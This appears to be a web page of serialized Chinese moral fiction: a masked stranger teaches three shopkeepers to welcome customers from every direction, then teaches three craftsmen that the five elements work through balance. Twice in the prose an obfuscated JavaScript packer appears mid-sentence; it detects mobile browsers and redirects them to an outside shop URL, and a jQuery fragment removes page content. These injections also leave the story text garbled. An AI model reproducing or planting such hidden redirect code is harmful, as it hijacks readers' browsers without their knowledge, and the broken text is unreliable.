南宫四方这日正在茶馆里煮茶。店里冷冷清清，只有两个老客在角落下棋。南宫四方一边煮茶，一边训斥着茶博士“阿南”：“南边的客，要客气；北边的客，要恭敬；东边的客，要谦和；西边的客，要小心！你可倒好，昨日那个西边客，你怎么上茶的？” 阿南，十九岁，低头擦桌，嘟囔道：“那客人嫌茶淡，嫌水温，嫌茶具脏，我……” “住口！”南宫四方一拍茶桌，“西边的客，最难伺候！你懂什么！” 这时，门外进来一人。还是竹编斗笠，灰布长衫，腰间木剑。脸上蒙着青布，风尘仆仆。 “掌柜的，喝茶。”声音平平。 南宫四方抬眼，见是这两日在东来店、西就栈见过的那人，心里咯噔一下，面上堆笑：“客官从哪里来？” “从南边来，往北边去，路过东边，要去西边。” 南宫四方一愣：“你这人……到底要喝茶，还是有事？” “喝茶。”那人从怀里掏出几文钱，“一壶茶，一碟瓜子。” 南宫四方收了钱，让阿南去泡茶，自己端了碟瓜子过去。 那人接了瓜子，却不嗑，看着店里寥寥的茶客，忽然道：“掌柜的，你这茶馆叫‘南来’，可南边的客，你嫌吵闹；北边的客，你嫌挑剔；东边的客，你嫌挑剔；西边的客，你嫌粗鲁。四方皆嫌，你这茶馆，如何南来北往？” 南宫四方脸色一沉：“你懂做生意？” “略知一二。”那人放下瓜子，“开店如立四方，南来北往，东成西就，四方皆客，来者不拒。你这般南嫌北嫌，东嫌西嫌，四方皆嫌，客从何来？” 南宫四方语塞。 “曰南北，曰西东。此四方，应乎中。”那人缓缓念出，“掌柜的可知何意？” “自然知道！”南宫四方挺胸，“东南西北，四方来客！我开茶馆三代，岂能不知！” “错了。”那人摇头，“四方者，东南西北。应乎中者，以中为心，四方来朝。你这茶馆在十字街，正是四方交汇之地，本当四方来客皆迎。可你呢？南嫌吵闹，北嫌挑剔，东嫌挑剔，西嫌粗鲁。你这‘中’，在哪里？” 南宫四方脸上发烫。 “你看这十字街，”那人走到门口，指向四方，“东街通东，西街通西，南街通南，北街通北。街以中分，四方皆通。店在街中，当迎四方。你这般挑三拣四，这茶馆，迟早要关。” 阿南在旁听了，忍不住插嘴：“先生说得是！昨日那西边客，就是嫌咱们挑客！” “多嘴！”南宫四方瞪眼，可心里却是一震。 “这位茶博士，”那人转向阿南，“你家掌柜教你煮茶，可教过你，客不分南北东西，来者皆是客？” 阿南低头不敢语。 “这茶馆，”那人环顾四周，“本该南客来时热茶迎，北客往时笑脸送，东客来时殷勤待，西客往时细心奉。可你呢？南嫌北嫌，东嫌西嫌。四方皆嫌，客如何来？” 南宫四方额头冒汗。 那人从怀里掏出一本薄册子，递给南宫四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如：南客来时如何迎，北客往时如何送，东客来时如何待，西客往时如何奉。” 南宫四方接过，翻开一看，第一页就画着一家茶馆，门开四面，笑脸相迎。旁边小字写着：“南来不拒，北往不嫌，东来不慢，西就不怠。四方来客，皆以中应。” 他看得痴了。 “掌柜的，”那人道，“你这茶馆名‘南来’，可真正的‘南来’，是以中为心，迎四方客。四方皆来，才是真南来。” 说罢，他起身：“茶不用泡了，我去街上转转。明日此时，我再来看。若你还这般挑客，这茶，不喝也罢。” 他走了，竹编斗笠在阳光下晃动，灰布长衫的下摆扫过门槛。 南宫四方呆立良久，看着手里的册子，又看看空空的茶座，忽然把茶壶一放，蹲在地上，双手抱头。 阿南轻轻走过去，递上一碗热茶：“掌柜的，喝茶。” 南宫四方抬起头，看着茶博士年轻的脸，看着空空的茶馆，忽然伸手，接过茶碗，声音发哑：“明日……明日咱们不挑客了。” 四、 十字街的晨 次日清晨，十字街热闹起来。东来车马店挂出了新招牌：“迎四方客，接八面风”。东方四方亲自站在门口，对东来的客笑脸相迎，对西往的客热茶相送，对南来的客殷勤相待，对北往的客细心招呼。 西就客栈也换了幌子：“东西南北，皆是我客”。西门四方让伙计在门口摆上免费茶水，对西来的客热情招呼，对东往的客细心指引，对南来的客殷勤招待，对北往的客笑脸相送。 南来茶馆更是热闹，门口贴了红纸：“四方来客，一视同仁”。南宫四方让茶博士在门口迎客，对南来的客热情招呼，对北往的客细心奉茶，对东来的客殷勤招待，对西往的客笑脸相送。 街坊邻居见了，都觉稀奇。有那好事的，故意从东边走到西边，从南边走到北边，三家都进。东方四方不嫌路远，西门四方不嫌事多，南宫四方不嫌啰嗦，都笑脸相迎，热茶相送。 那人又来了。还是竹编斗笠，灰布长衫，腰间木剑。脸上蒙着青布，站在十字街中央，看着三家忙碌。 东方四方先看见，忙迎出来：“先生！快请进店歇歇！” 西门四方也看见，忙出来：“先生！来客栈喝杯茶！” 南宫四方也出来：“先生！来茶馆坐坐！” 那人笑了，走到十字街中央，从怀里掏出一面小旗，插在地上。旗是四方旗，四面绣着字：东、南、西、北。旗杆是中空的，可转动。 “三位掌柜，今日如何？”他问。 “托先生的福！”东方四方说，“今日客多了！” “是啊！”西门四方说，“东西南北的客都有！” “热闹多了！”南宫四方说，“四方来客，一视同仁！” 那人点头，指着小旗：“你们看这旗，四面是四方，中间是旗杆。旗杆不动，旗面可转。东风吹，旗指西；西风吹，旗指东；南风吹，旗指北；北风吹，旗指南。可旗杆，始终在中间，不动。” 三人肃然。 “开店如立旗。”那人缓缓道，“店是旗杆，客是风。东客来，笑脸迎；西客来，热茶奉；南客来，殷勤待；北客来，细心送。客从四方来，店在中间应。这才是‘应乎中’。” 三人点头如捣蒜。 “你们之前，”那人看着他们，“东嫌西嫌，南嫌北嫌。嫌来嫌去，客不敢来。如今东迎西送，南待北奉，客自然来。可见什么？” 三人摇头。 “可见不是客不来，是店不迎。不是路不通，是心不开。”那人声音温和，却字字清晰，“十字街，四方通。东来西往，南来北去，本是热闹地。你们三家，占了三方，本当客如流水。可你们呢？东嫌、西嫌、南嫌、北嫌，把客都嫌走了。如今不嫌了，客就来了。简单不简单？” 三人汗颜。 “曰南北，曰西东。此四方，应乎中。”那人念出那十二个字，“中是什么？中是店心，是人心。店心开，人心开，四方客来。店心闭，人心闭，四方客去。就这么简单。” 他从怀里掏出三块小小的、用桃木刻的牌子，一人给了一个。牌子上刻着四个字：东、南、西、北，中间一个“中”字。 “这个，给你们。挂在店堂，记在心里。迎客时看看，莫忘了四方来客，皆应乎中。” 三人接过，那牌子是桃木刻的，光滑温润，在阳光下泛着暗红的光。 “先生，”东方四方大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”西门四方问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿西捧上一碟新蒸的糕：“先生，吃糕，新蒸的，软！” 阿南捧上一壶新沏的茶：“先生，喝茶，新沏的，醇！” 那人一一接过，嗑瓜子，吃糕，喝茶，点头：“好，好。” 东方四方从怀里掏出那块桃木牌，已经用红绳系着，挂在腰间：“先生，您看，我一直戴着。” 西门四方、南宫四方也掏出桃木牌，三块牌子，在阳光下泛着温润的光。 “戴得好。”那人点头，“四方应中，在心不在形。” “先生，”西门四方问，“您这三年，去了哪里？” “走了些地方，见了些店家。”那人说，“有东嫌西嫌的，有南嫌北嫌的，有挑三拣四的，有嫌贫爱富的。看得多了，就想，若是他们都明白四方应中的道理，会不会就不同了？” 众人沉默。 “曰南北，曰西东。此四方，应乎中。”那人缓缓念，“东为春，为生发，当迎。南为夏，为生长，当接。西为秋，为收敛，当待。北为冬，为闭藏，当送。四方来客，皆天地之气。迎之接之待之送之，天地之气自然通畅。店如人身，通则不痛，痛则不通。店门常开，客来八方，这才是生意长久之道。” 他看向三家店堂——东来店车马不绝，西就栈客来客往，南来馆茶客满座。迎得热情，接得周到，待得殷勤。 “你们比从前强。”那人笑了，“东迎西送，南待北奉，这才是开店的正道。” 众人点头，深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子，刻着“迎、接、待、奉”，送给三个伙计。 “这个，给你们的徒弟。等他们出师了，教他们东迎、南接、西待、北奉。等他们做到了，我再来收。” 三个伙计恭恭敬敬接过。 “先生，”阿南大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人迎东、接南、待西、奉北的人。” “那……您还会来看我们迎客、接客、待客、奉客么？” “会。”那人站起身，“等你们的徒弟的徒弟，也这样在十字街上迎东、接南、待西、奉北的时候，我还会来。” 他走了，沿着十字街，慢慢地走。阳光洒在青石板上，把他的影子拉得很长。三家的人站在店门口，看着他的背影渐渐消失在人群中。 东方四方忽然说：“你们说，先生教了多少店家？” 西门四方说：“不知道。但我知道，他教的店家，都懂了‘四方应中’。” 南宫四方说：“我也懂了。开店不是挑客，是迎客。客从四方来，笑脸四方迎。” 他们回到店里，伙计们还在忙碌。阿东在迎东边的客，阿西在接西边的客，阿南在待南边的客，新来的伙计在北门口奉茶。阳光照在他们身上，明晃晃的。 尾声四方谣 很多年后，十字街改名叫“四方街”。街心的石板上，刻着十二个大字： 曰南北，曰西东。此四方，应乎中。 常有外乡人问：“这字谁刻的？” 街里的老人会说：“是三家明白人刻的。他们啊，从前只会挑客，后来懂了迎客，生意兴隆，门庭若市。” “怎么迎客？” “东来店迎东接西，待南奉北。西就栈接西迎东，待南奉北。南来馆待南迎北，接东送西。这就是迎客。” 每逢集市，街上的伙计都会唱一首谣： 四方街，三家人， 挑三拣四客不来。 东家挑客店门冷， 西家拣四客房空。 南家嫌客茶馆寂， 三家挑拣无客来。 白衣先生来点化， 曰南北，曰西东。 此四方，应乎中， 三家迎客生意隆。 有个游方的商客路过，听了这谣，去问东来店的东方四方——如今已是街上的老人了。 “老掌柜，这谣里的白衣人，可是位财神？” 东方四方正在门口迎客，闻言停下手，望着热闹的十字街。 “是位教人迎东、接南、待西、奉北的先生。”他说。 “迎客……不是咱们商人的本分么？” “错了。”东方四方说，“迎客是迎客，挑客是挑客。迎客是笑脸迎四方，挑客是冷眼拒八方。笑脸迎，客自来；冷眼拒，客自去。这才是做生意的正理。” 商客似懂非懂。临走时，东方四方送了他一包茶叶，说：“路上喝。记着，茶要热，心要热，客来了，茶奉上，心敞开，生意自然来。” 商客道了谢，揣着茶叶走了。阳光洒在四方街上，人来人往。他回头，看见东方四方站在店门口，对着东来的客笑脸相迎，西往的客热茶相送，南来的客殷勤招待，北往的客细心招呼。阳光照在他身上，像镀了一层金。 也许那位先生，正在某个地方，看人迎东、接南、待西、奉北吧。商客想。 他闻了闻茶叶，清香扑鼻。这迎客的味道，原来就在一碗茶里。 本章诫世 一、 四方真义训 - 曰南北，曰西东 - 此四方，应乎中 - 破解法：为商者，自问“可曾迎东？可曾接南？可曾待西？可曾奉北？”；为民者，自问“可曾心中正？可曾待人公？可曾接物平？可曾处事和？” 二、 三家三嫌 - 东家嫌在“挑剔”——东嫌远，西嫌多，南嫌啰嗦，北嫌挑剔 - 西家嫌在“偏见”——西嫌狡诈，东嫌土气，南嫌小气，北嫌傲慢 - 南家嫌在“苛责”——南嫌吵闹，北嫌挑剔，东嫌挑剔，西嫌粗鲁 - 惕世：多少店家挑肥拣瘦？多少商人嫌贫爱富？多少匠人嫌东嫌西？皆失中也 三、 应中大道 - 深层隐喻：四方者，天地之位。应乎中者，以中为心，应和四方。店在街中，当迎四方客；人在世中，当接八方缘。中不正，则四方不朝；心不开，则万缘不至 - 终极指向：立身处世，在守中正。中者，不偏不倚，不挑不拣。迎东接南，待西奉北，四方来客，一视同仁。如此，则客如云来，缘如潮至 四方偈： 十字街前三家人，挑三拣四客不来。 东家挑客店门冷，西家拣四客房空。 南家嫌客茶馆寂，三家皆失迎客心。 白衣现身来点化，四方应中须分明。 东南西北皆来客，三家迎客生意兴。 后世叹： 曰南北，曰西东，此四方，应乎中。 东家嫌客客不来，西家拣四店门空。 南家嫌客茶馆寂，三家皆忘应中道。 白衣点破迎客理，三年迎客生意隆。 正是： 临河镇中三家人，挑三拣四各执迷。 东家嫌东不迎东，西家嫌西不接西。 南家嫌南不待南，三家皆失应中心。 白衣点化四方义，东南西北皆来客。 三年迎客店门旺，四方街上美名扬。 96.五行谳 楔子·三家失序 河西镇有座“五方院”，院分五进，住着三户匠人：前院是“水作”王师傅，专做漆器；中院是“火作”李师傅，专打铁器；后院是“木作”赵师傅，专做木器。 水作王师傅，名“润生”，四十有五，做漆三代。他有句话常挂嘴边：“水漆相融，火候要准，木胎要正，金嵌要巧，土粉要细。五行齐备，方成好漆器。”可这“五行”，他只对漆说。调漆时，水多了嫌稀，水少了嫌稠；烘漆时，火大了嫌焦，火小了嫌不干；木胎时，木纹不正嫌歪，木纹太正嫌呆；嵌金时，金丝粗了嫌俗，金丝细了嫌弱；调粉时，土粉多了嫌沉，土粉少了嫌浮。 火作李师傅，名“炎生”，四十有三，打铁三代。他也有句话常念叨：“火旺铁熔，水淬要准，木炭要足，金质要纯，土模要实。五行齐备，方成好铁器。”可这“五行”，他只对铁说。熔铁时，火旺了嫌过，火弱了嫌生；淬火时，水多了嫌脆，水少了嫌软；烧炭时，木炭多了嫌烟，木炭少了嫌不热；锻铁时，金质纯了嫌软，金质杂了嫌脆；制模时，土模实了嫌死，土模松了嫌走形。 木作赵师傅，名“林生”，四十有八，做木三代。他更有句口头禅：“木理要顺，水胶要匀，火烤要准，金钉要牢，土漆要平。五行齐备，方成好木器。”可这“五行”，他只对木说。刨木时，木理顺了嫌平，木理不顺嫌糙；上胶时，水胶匀了嫌稀，水胶不匀嫌厚；烤木时，火候准了嫌干，火候不准嫌潮；钉合时，金钉牢了嫌死，金钉不牢嫌松；上漆时，土漆平了嫌亮，土漆不平嫌暗。 这三家，是五方院最“讲五行”的匠人。可三年下来，五行越讲越乱，手艺日衰。水作的漆器开裂，火作的铁器易折，木作的木器变形。院里的邻里看在眼里，摇头叹气。 这是五方院的又一个清晨，朝阳初升，可三家的作坊里，却无半分生气。 一、 水作王家的“水漆” 这日清晨，王润生在漆房里调漆。漆房里摆着七八件半成品，件件漆面开裂。王润生手持漆刷，嘴里训斥着徒弟“水生”：“水要清，漆要匀，火要稳，木要正，金要纯，土要细！你看看这漆，又开裂了！” 水生，十八岁，低头磨漆，嘟囔道：“师傅，水是清的，漆是匀的，火是稳的，木是正的，金是纯的，土是细的，可……” “住口！”王润生一摔漆刷，“五行不调，如何不裂！” 这时，门外进来一人。来人戴着一顶用桐油浸过的竹斗笠，斗笠边缘缀着几片柏叶。身上是件洗得发白的麻布短衫，腰间用草绳系一柄木剑，剑身磨得光滑。脸上蒙着一方葛布，布色灰白，沾着木屑。 “师傅，修漆器。”声音沉沉的。 王润生抬眼一瞥，见是个外乡人，便道：“什么漆器？” 那人从怀里掏出一只漆盒，盒是黑漆，漆面温润如玉，毫无裂纹。 王润生接过，仔细看，脸色渐变：“这漆……是古法？水几分？漆几分？火几分？木几分？金几分？土几分？” “水八分，漆十二分，火六分，木九分，金三分，土二分。”那人说。 “不可能！”王润生摇头，“水八则稀，漆十二则厚，火六则生，木九则硬，金三则多，土二则浮。五行不调，如何不裂？” “可能。”那人指着漆盒，“你看这漆，水清而润，漆匀而亮，火稳而透，木正而韧，金纯而雅，土细而平。五行调和，所以不裂。” 王润生语塞。 “曰水火，木金土。此五行，本乎数。”那人缓缓念出这十二个字，“师傅可知何意？” “自然知道！”王润生挺胸，“水漆相融，火候要准，木胎要正，金嵌要巧，土粉要细！我做漆三代，岂能不知！” “错了。”那人摇头，“五行者，水火木金土。本乎数者，数在调和，不在死守。你这般水多嫌稀，水少嫌稠；火大嫌焦，火小嫌不干；木正嫌呆，木不正嫌歪；金粗嫌俗，金细嫌弱；土多嫌沉，土少嫌浮。这是调和么？这是死守。” 王润生脸上涨红。 “你看这漆盒，”那人抚着漆面，“水八分，是让漆润而不稀。漆十二分，是让漆厚而不滞。火六分，是让漆透而不焦。木九分，是让胎韧而不硬。金三分，是让嵌雅而不俗。土二分，是让粉平而不浮。五行调和，方成此器。” 他转向水生：“小兄弟，你师傅教你五行，可教过你，五行是相生相克，调和为要，不是死守数字？” 水生低头不敢语。 “你这漆器，”那人指着开裂的漆器，“水是清了，可漆不匀；火是稳了，可木不正；金是纯了，可土不细。五行各守其分，却不调和，如何不裂？” 王润生额上冒汗。 那人从怀里掏出一卷泛黄的绢本，递给王润生。绢上写着《五行调和诀》。 “这个给你。里边有调漆和五行的法子。比如：水几分漆润，漆几分漆亮，火几分漆透，木几分漆韧，金几分漆雅，土几分漆平。” 王润生接过，展开一看，第一页就画着五行相生图：水生木，木生火，火生土，土生金，金生水。旁边小字写着：“五行本乎数，数在调和。水润则木生，木生则火旺，火旺则土成，土成则金纯，金纯则水清。五气相生，漆器乃成。” 他看得痴了。 “师傅，”那人道，“你这漆器，不是五行不全，是五行不调。水漆要融，不是水漆要对半分。火候要准，不是火候要死死守。木胎要正，不是木胎要分毫不差。金嵌要巧，不是金嵌要一模一样。土粉要细，不是土粉要粒粒均匀。调和，调和，调而和之，才是五行真义。” 说罢，他收起漆盒：“这盒送你。你按调和之法，再做一件。明日此时，我来看。若还开裂，这盒我收回；若成了，这盒就归你。” 他走了，竹斗笠在晨光中晃动，麻布短衫的下摆扫过门槛。 王润生呆立良久，看着手里的绢本，又看着那只温润的漆盒，忽然把漆刷一扔，蹲在地上，双手抱头。 水生轻轻走过去，递上一碗水：“师傅，喝水。” 王润生抬起头，看着徒弟年轻的脸，看着满屋开裂的漆器，忽然抬手，拍了拍水生的肩：“明日……明日咱们调和试试。” 二、 火作李家的“火铁” 李炎生这日在铁铺里打铁。铁铺里摆着十几件铁器，件件脆而易折。李炎生手持铁锤，嘴里训斥着徒弟“火生”：“火要旺，铁要熔，水要准，木炭要足，金质要纯，土模要实！你看看这铁，又脆了！” 火生，二十岁，低头拉风箱，嘟囔道：“师傅，火是旺的，铁是熔的，水是准的，木炭是足的，金质是纯的，土模是实的，可……” “住口！”李炎生一摔铁锤，“五行不调，如何不脆！” 这时，门外进来一人。还是竹斗笠，麻布短衫，腰间木剑。脸上蒙着葛布，只露出一双眼睛，明亮如星。 “师傅，打把刀。”声音温和。 李炎生抬眼，见是前日在水作王家见过的那人，心里一动，面上堆笑：“客官要什么刀？” “菜刀，要锋利不脆，柔韧不软。” “好嘞！”李炎生让火生去取铁。 那人却摇头：“这铁，火太旺，铁太熔，水太准，木炭太足，金质太纯，土模太实。五行不调，打出来的刀，必脆。” 李炎生脸色一变：“你懂打铁？” “略知一二。”那人从怀里掏出一把短刀，刀身黝黑，刀刃泛着青光，轻轻一弯，柔韧如竹。 李炎生接过，仔细看，脸色渐变：“这刀……是古法？火几分？铁几分？水几分？木炭几分？金质几分？土模几分？” “火七分，铁八分，水五分，木炭六分，金质四分，土模三分。”那人说。 “不可能！”李炎生摇头，“火七则过，铁八则生，水五则脆，木炭六则烟，金质四则杂，土模三则松。五行不调，如何不脆？” “可能。”那人指着短刀，“你看这刀，火旺而不过，铁熔而不生，水淬而不脆，木炭足而无烟，金质纯而不杂，土模实而不松。五行调和，所以不脆。” 李炎生语塞。 “曰水火，木金土。此五行，本乎数。”那人缓缓念出，“师傅可知何意？” “自然知道！”李炎生挺胸，“火旺铁熔，水淬要准，木炭要足，金质要纯，土模要实！我打铁三代，岂能不知！” “错了。”那人摇头，“五行者，水火木金土。本乎数者，数在调和，不在死守。你这般火旺嫌过，火弱嫌生；水多嫌脆，水少嫌软；木炭多嫌烟，木炭少嫌不热；金质纯嫌软，金质杂嫌脆；土模实嫌死，土模松嫌走形。这是调和么？这是死守。” 李炎生脸上发红。 “你看这刀，”那人抚着刀身，“火七分，是让铁熔而不过。铁八分，是让铁韧而不生。水五分，是让铁硬而不脆。木炭六分，是让火足而无烟。金质四分，是让铁坚而不杂。土模三分，是让形定而不松。五行调和，方成此刀。” 他转向火生：“小兄弟，你师傅教你五行，可教过你，五行是相生相克，调和为要，不是死守数字？” 火生低头不敢语。 “你这铁器，”那人指着那些脆而易折的铁器，“火是旺了，可铁不熔；水是准了，可木炭不足；金质是纯了，可土模不实。五行各守其分，却不调和，如何不脆？” 李炎生额上冒汗。 那人从怀里掏出一卷泛黄的绢本，递给李炎生。绢上写着《五行调和诀》。 “这个给你。里边有打铁和五行的法子。比如：火几分铁熔，铁几分铁韧，水几分铁硬，木炭几分火足，金质几分铁坚，土模几分形定。” 李炎生接过，展开一看，第一页就画着五行相生图：木生火，火生土，土生金，金生水，水生木。旁边小字写着：“五行本乎数，数在调和。木足则火旺，火旺则土成，土成则金坚，金坚则水利，水利则木生。五气相生，铁器乃成。” 他看得痴了。 “师傅，”那人道，“你这铁器，不是五行不全，是五行不调。火旺要熔，不是火旺要烧过头。水淬要准，不是水淬要分毫不差。木炭要足，不是木炭要堆成山。金质要纯，不是金质要一丝不杂。土模要实，不是土模要硬如铁。调和，调和，调而和之，才是五行真义。” 说罢，他收起短刀：“这刀送你。你按调和之法，再打一把。明日此时，我来看。若还脆，这刀我收回；若成了，这刀就归你。” 他走了，麻布短衫在风中飘动，木剑的剑穗扫过门槛。 李炎生呆立良久，看着手里的绢本，又看着那把柔韧的短刀，忽然把铁锤一扔，坐在砧前，双手捂脸。 火生轻轻走过去，递上一碗水：“师傅，喝水。” 李炎生抬起头，看着徒弟年轻的脸，看着满铺脆而易折的铁器，忽然抬手，拍了拍火生的肩：“明日……明日咱们调和试试。” 三、 木作赵家的“木器” 赵林生这日在木作里刨木。木作里摆着十几件木器，件件变形开裂。赵林生手持刨子，嘴里训斥着徒弟“木生”：“木要顺，水胶要匀，火烤要准，金钉要牢，土漆要平！你看看这木器，又变形了！” 木生，十九岁，低头磨刨刀，嘟囔道：“师傅，木是顺的，水胶是匀的，火烤是准的，金钉是牢的，土漆是平的，可……” “住口！”赵林生一摔刨子，“五行不调，如何不变！” 这时，门外进来一人。还是竹斗笠，麻布短衫，腰间木剑。脸上蒙着葛布，风尘仆仆。 “师傅，修木器。”声音平平。 赵林生抬眼，见是这两日在水作王家、火作李家见过的那人，心里咯噔一下，面上堆笑：“什么木器？” 那人从怀里掏出一只木匣，匣是紫檀，木理顺直，毫无变形。 赵林生接过，仔细看，脸色渐变：“这木……是古法？木几分？水胶几分？火烤几分？金钉几分？土漆几分？” “木十分，水胶三分，火烤二分，金钉一分，土漆四分。”那人说。 “不可能！”赵林生摇头，“木十则硬，水胶三则稀，火烤二则潮，金钉一则松，土漆四则厚。五行不调，如何不变？” “可能。”那人指着木匣，“你看这木，木理顺而不硬，水胶匀而不稀，火烤透而不潮，金钉牢而不松，土漆平而不厚。五行调和，所以不变。” 赵林生语塞。 “曰水火，木金土。此五行，本乎数。”那人缓缓念出，“师傅可知何意？” “自然知道！”赵林生挺胸，“木理要顺，水胶要匀，火烤要准，金钉要牢，土漆要平！我做木三代，岂能不知！” “错了。”那人摇头，“五行者，水火木金土。本乎数者，数在调和，不在死守。你这般木顺嫌平，木不顺嫌糙；水胶匀嫌稀，水胶不匀嫌厚；火烤准嫌干，火烤不准嫌潮；金钉牢嫌死，金钉不牢嫌松；土漆平嫌亮，土漆不平嫌暗。这是调和么？这是死守。” 赵林生脸上发烫。 “你看这木匣，”那人抚着木面，“木十分，是让木韧而不硬。水胶三分，是让胶匀而不稀。火烤二分，是让木干而不潮。金钉一分，是让钉牢而不死。土漆四分，是让漆平而不厚。五行调和，方成此器。” 他转向木生：“小兄弟，你师傅教你五行，可教过你，五行是相生相克，调和为要，不是死守数字？” 木生低头不敢语。 “你这木器，”那人指着那些变形开裂的木器，“木是顺了，可水胶不匀；火烤是准了，可金钉不牢；土漆是平了，可木理不顺。五行各守其分，却不调和，如何不变？” 赵林生额上冒汗。 那人从怀里掏出一卷泛黄的绢本，递给赵林生。绢上写着《五行调和诀》。 “这个给你。里边有做木和五行的法子。比如：木几分器韧，水胶几分器匀，火烤几分器干，金钉几分器牢，土漆几分器平。” 赵林生接过，展开一看，第一页就画着五行相生图：金生水，水生木，木生火，火生土，土生金。旁边小字写着：“五行本乎数，数在调和。金坚则水利，水利则木生，木生则火旺，火旺则土成，土成则金纯。五气相生，木器乃成。” 他看得痴了。 “师傅，”那人道，“你这木器，不是五行不全，是五行不调。木理要顺，不是木理要笔直如线。水胶要匀，不是水胶要厚薄一致。火烤要准，不是火烤要分毫不差。金钉要牢，不是金钉要钉死不动。土漆要平，不是土漆要光滑如镜。调和，调和，调而和之，才是五行真义。” 说罢，他收起木匣：“这匣送你。你按调和之法，再做一件。明日此时，我来看。若还变形，这匣我收回；若成了，这匣就归你。” 他走了，竹斗笠在阳光下晃动，麻布短衫的下摆扫过门槛。 赵林生呆立良久，看着手里的绢本，又看着那只顺直的木匣，忽然把刨子一放，蹲在地上，双手抱头。 木生轻轻走过去，递上一碗水：“师傅，喝水。” 赵林生抬起头，看着徒弟年轻的脸，看着满屋变形的木器，忽然伸手，接过水碗，声音发哑：“明日……明日咱们调和试试。” 四、 五方院的昼 次日晌午，五方院里热闹起来。水作王家飘出漆香，火作李家传出打铁声，木作赵家响起刨木声。 王润生在漆房里，按《五行调和诀》调漆。水生在一旁递水、递漆、递粉。王润生不再死守数字，而是看漆的浓稠、闻漆的气味、摸漆的滑腻。水八分，漆十二分，火六分，木九分，金三分，土二分——他不再纠结这些数字，而是调和，调和，让水润漆，让漆透木，让木生火，让火融金，让金化土，让土含水。 李炎生在铁铺里，按《五行调和诀》打铁。火生在一旁拉风箱、递铁、递水。李炎生不再死守数字，而是看铁的火色、听铁的声音、试铁的软硬。火七分，铁八分，水五分，木炭六分，金质四分，土模三分——他不再纠结这些数字，而是调和，调和，让火熔铁，让铁淬水，让水生木，让木助火，让火炼金，让金成土。 赵林生在木作里，按《五行调和诀》做木。木生在一旁刨木、上胶、烤木。赵林生不再死守数字，而是看木的纹理、摸木的干湿、听木的声音。木十分，水胶三分，火烤二分，金钉一分，土漆四分——他不再纠结这些数字，而是调和，调和，让木顺纹，让胶匀合，让火烤透，让钉牢实，让漆光滑。 那人来了。还是竹斗笠，麻布短衫，腰间木剑。脸上蒙着葛布，站在院中，看着三家忙碌。 王润生先看见，忙迎出来：“先生！快来看漆！” 李炎生也看见，忙出来：“先生！快来看刀！” 赵林生也出来：“先生！快来看匣！” 那人笑了，走到院中石桌前坐下，从怀里掏出三只小碗，一字排开。 “三位师傅，成了么？”他问。 “成了！成了！”三人齐声道。 王润生捧出一只漆盒，漆面温润，毫无裂纹。李炎生捧出一把菜刀，刀身柔韧，锋利不脆。赵林生捧出一只木匣，木理顺直，毫无变形。 那人一一验看，点头：“好，好，好。” 他指着三只小碗：“你们看这碗，第一只盛水，第二只盛火炭，第三只盛木屑，第四只盛金粉，第五只盛土。五行各在碗中，可成器么？” 三人摇头。 “可若将水、火、木、金、土调和，水润木，木生火，火成土，土生金，金生水，循环往复，则成器。”他缓缓道，“漆器如是，铁器如是，木器亦如是。五行本乎数，数在调和，不在死守。水多则稀，水少则稠，要在润而不稀。火旺则焦，火弱则生，要在透而不焦。木正则呆，木歪则糙，要在顺而不呆。金粗则俗，金细则弱，要在雅而不俗。土多则沉，土少则浮，要在平而不浮。此调和之道也。” 三人肃然。 “你们之前，”那人看着他们，“水嫌稀稠，火嫌旺弱，木嫌正歪，金嫌粗细，土嫌多少。嫌来嫌去，器不成器。如今调和，水润漆，火透铁，木顺理，金雅嵌，土平漆。调和调和，器就成了。可见什么？” 三人摇头。 “可见不是器难成，是心不调。不是五行缺，是五行乱。”那人声音温和，却字字清晰，“五行本乎数，数在调和。调和之道，在心不在数。心中有数，手中有度，眼中有神，则五行自调，器自成。” 三人汗颜。 “曰水火，木金土。此五行，本乎数。”那人念出那十二个字，“数是定数，调和是活法。死守定数，器不成器；活用法度，器乃大成。就这么简单。” 他从怀里掏出三块小小的、用桃木刻的牌子，一人给了一个。牌子上刻着五行相生图，中间一个“和”字。 “这个，给你们。挂在作里，记在心里。做活时看看，莫忘了五行本乎数，数在调和。” 三人接过，那牌子是桃木刻的，光滑温润，在阳光下泛着暗红的光。 “先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148668|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”王润生大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”李炎生问。 “到去处去。” “您是做什么的？”赵林生问。 “我是个看水、看火、看木、看金、看土的人。”那人笑了，“看人怎么调水，怎么和火，怎么顺木，怎么炼金，怎么平土。” 他收起三只小碗：“碗我收走了，道理你们懂了。明日此时，我再来看看，你们的器，是不是真能五行调和。” 他走了，沿着五方院的回廊，慢慢地走。三家的人站在作门口，看着他的背影消失在廊角。 王润生忽然转身，对水生说：“从今往后，水漆相融，火候要准，木胎要正，金嵌要巧，土粉要细——但要调和！” 李炎生对火生说：“从今往后，火旺铁熔，水淬要准，木炭要足，金质要纯，土模要实——但要调和！” 赵林生对木生说：“从今往后，木理要顺，水胶要匀，火烤要准，金钉要牢，土漆要平——但要调和！” 五、 三年后的桃木牌 三年后的五方院，已是河西镇最有名的匠作坊。水作王家的漆器温润如玉，火作李家的铁器柔韧锋利，木作赵家的木器顺直美观。 三家在院中立了块木牌，上书：“五行院”。木牌下，三家师傅常坐在一起喝茶。 王润生说：“水漆调和，关键在润。水多则稀，水少则稠，要润而不稀，稠而不滞。” 